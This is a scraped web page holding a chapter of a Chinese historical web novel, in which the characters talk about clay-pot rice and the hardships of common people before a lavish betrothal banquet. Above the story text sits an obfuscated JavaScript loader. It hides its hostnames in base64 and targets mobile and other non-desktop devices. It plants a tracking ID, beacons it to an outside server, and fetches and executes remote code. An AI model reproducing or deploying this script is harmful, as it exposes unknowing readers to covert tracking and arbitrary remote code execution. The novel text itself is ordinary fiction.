足迹
江夜江阎王小说叫什么
登录
关灯
护眼
字体:

第712章 闲话民生(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

秦琴笑眯眯地卖关子:“别急。别急。接下来,就是见证奇迹的时刻了——”

迅速地抄起手边准备好的酱油,沿着煲仔边缘绕着圈圈快速倒入。伴随着“刺啦”的响声,调和过的酱油迅速沿着煲仔盖子流入,发黄的泡沫快速消散殆尽的同时,蒸发出阵阵浓香风味。直到这时,秦琴方才掀起盖子,手腕一抖,葱花如天女散花般均匀落到饭面上。zx.r

“好!”黎荆氏不争气的眼泪都要从嘴角流出来了。

肉汁甘甜充盈,每一口米饭都充满了米脂香气。而更妙的,是那嘎巴酥脆,咸滋滋、香喷喷的锅巴,大家嘎吱嘎吱吃得欢,几乎是抢着吃完的。

晚饭,索性也就在花园一角的亭子里,点了蜡烛,来一个秉烛夜宴了。等上菜的功夫,黎荆氏餍足地舔了舔嘴唇,拍拍肚子,“哎呀,这个饭真好吃。我不喜欢吃米食的,也觉得好吃。可惜就是太费时费力了,也费火。偶尔吃一次就好,谁家有那个闲工夫老吃这个。”

秦琴笑道:“正经做这个煲仔饭,也不会像我这样的。特意生炉子,只洗一煲米,煮出来几个人分。自然不划算——可是啊,换个法子来想。如果换了那种南方的四眼老虎灶,别的几个灶眼忙着炒大锅菜、熬大锅汤,终日忙个不休的出热厨的。旁边挖开那么三四个小灶眼子,用炭火余烬来煮上这两三煲煲仔饭,是不是就又方便又能开荤?”

黎荆氏闭上眼睛,用力想象,最后放弃:“我想不出来。你们南方人的日子,就是过得要精致一些。要换了我,最精致便宜的法子,是用大锅煮一口羊,除了一点点盐,别的什么也不放。旁边一个铁铛,烙上搁了蓬草灰的饼子。吃饼啃羊肉,最后来一碗肉汤,半点儿不浪费,舒坦!”

定安侯夫人倒是很向往:“秦琴说的法子倒是会当家的。我家里也吃米饭,也可以这么试试。不过,这煲仔饭里,又是肉又是腊肠,得中等人家,才好吃这么多的荤腥吧?”

冯晓曾经深入过琼州,知道百姓疾苦,所以定安侯夫人知晓民间百态,也不奇怪。秦琴说道:“煲仔饭算是丰俭由人的吃食。煮好了的饭上面,可以放鸡鸭鱼肉,也可以放咸菜萝卜。”

“最最俭省的,连酱油也省了,放一小撮盐下去拌拌,滋味也是极好的。关键是吃一口热乎干净的……南方天气热,不比北方的食物能够储存很久。煮得了的白粥也好,米饭也好,露天搁过夜,就发酸臭馊了。我们那边,每年总会因拉痢死好些人。吃热食能够不怎么闹肚子。”

“不过……确实得中等人家,才能吃上这个煲仔饭,因为中等人家,才舍得这么吃大米。底下的人只好吃糙米,糙米煮不了这个饭。”

轻描淡写几句话,道尽了老百姓讨生活的辛酸。

时夫人叹道:“难怪总说,兴亡百姓皆辛苦。”

定安侯夫人也道:“我要不是晓儿那年当差,到民间走了一趟,也不知道这许多。所以这几年来,甭管多艰难都好,多乱都好,我都坚持没有撤城南和城北的粥棚。”

时夫人道:“你得贴不少银子和粮米进去吧?”

定安侯夫人双手合十,垂眉道:”阿弥陀佛,还行。一年总不过千把两千银子,不俱哪个进项,都能省下来了。”

时夫人道:“既然如此,那日后也算我一份。从我体己钱里出。”

定安侯夫人一口答应:“行啊。”

两个人就这么愉快地定下来了。黎荆氏没有参与,她家孩子多,兵部又油水少,要不是有秦琴带起来的几个铺子生意帮衬着,日子过得就很难——哪怕是现在,也不过是中等偏上一点罢了。只是黎荆氏心胸开阔,从不因此而自卑,也很坦然接受现状,觉得困难不过是暂时的,用她自己的话来说,就是:“日后等我家几个孩儿长大了,总有一两个有出息的吧。到时候我就儿孙满堂,享不尽的福气了!”

那份开朗,倒是叫人羡慕得很。

……

也不知道蒙瑜用了什么法子,半个月之后的下聘礼,排场不说压倒了蒙迅下聘,也跟那日不相上下。

这一次,十里红妆,如一条红毯般遮天蔽日,从皇宫到了苏家大门,富贵耀眼,逼得人睁不开眼睛来。苏云锦被无数人簇拥在中间,出尽了风头。

苏家为了迎接这泼天的富贵,在屋子里,摆了宴席。这宴席穷奢极恀中,又透着低调奢华。三十二道合欢宴,道道精致。

单就一味“金玉满堂”来说,就以莲藕雕成小碗,裹粉酥炸成金黄,里面填入仅两口的白嫩豆腐脑——待入口顺滑而下之后,极清甜的豆香里,带出一丝荤香,有那识货的老饕才恍然大悟,“这哪儿是什么豆腐脑啊!这是鲫鱼脑挑走了血筋打散后,拌了鸽子蛋清,最后浸泡进豆浆里浸入了豆香味做成的假豆腐!”

这还只是其中一道最不起眼的菜!

管中窥豹,可见一斑!

有幸赴宴的官员们,出来之后,不免窃窃私语,咬起了耳朵。

——“苏家还是家底子厚。前阵子才出血了二百万白银呢,现在嫁女儿又是大排场。平日那般两袖清风的模样,真的就是重阳节的螃蟹,肉全藏壳里啊。”

——“嘘,黎大人,说话别忒耿直。藏心里去。要叫别的人听见了,不得了。”

——“我就一粗人。不过,李大人也这么觉得吧?”

——“黎大人话糙理不糙。我倒是想要说句公道话,苏家到苏首辅这一代,也已经第四代了。苏首辅不好吃喝玩乐罢了,他爹还在的时候,可是出了名的精致。几代人的积累,总是很可观的。”

——“说得是,说得是。”

在苏家外面,另寻了清静宽敞的长街,摆了流水席。一色的八菜一汤,满满的鸡鸭鱼肉,主食有米饭、大饼和馍馍三样。走过路过的人,只要道一声“恭喜苏小姐”,即可坐下大快朵颐!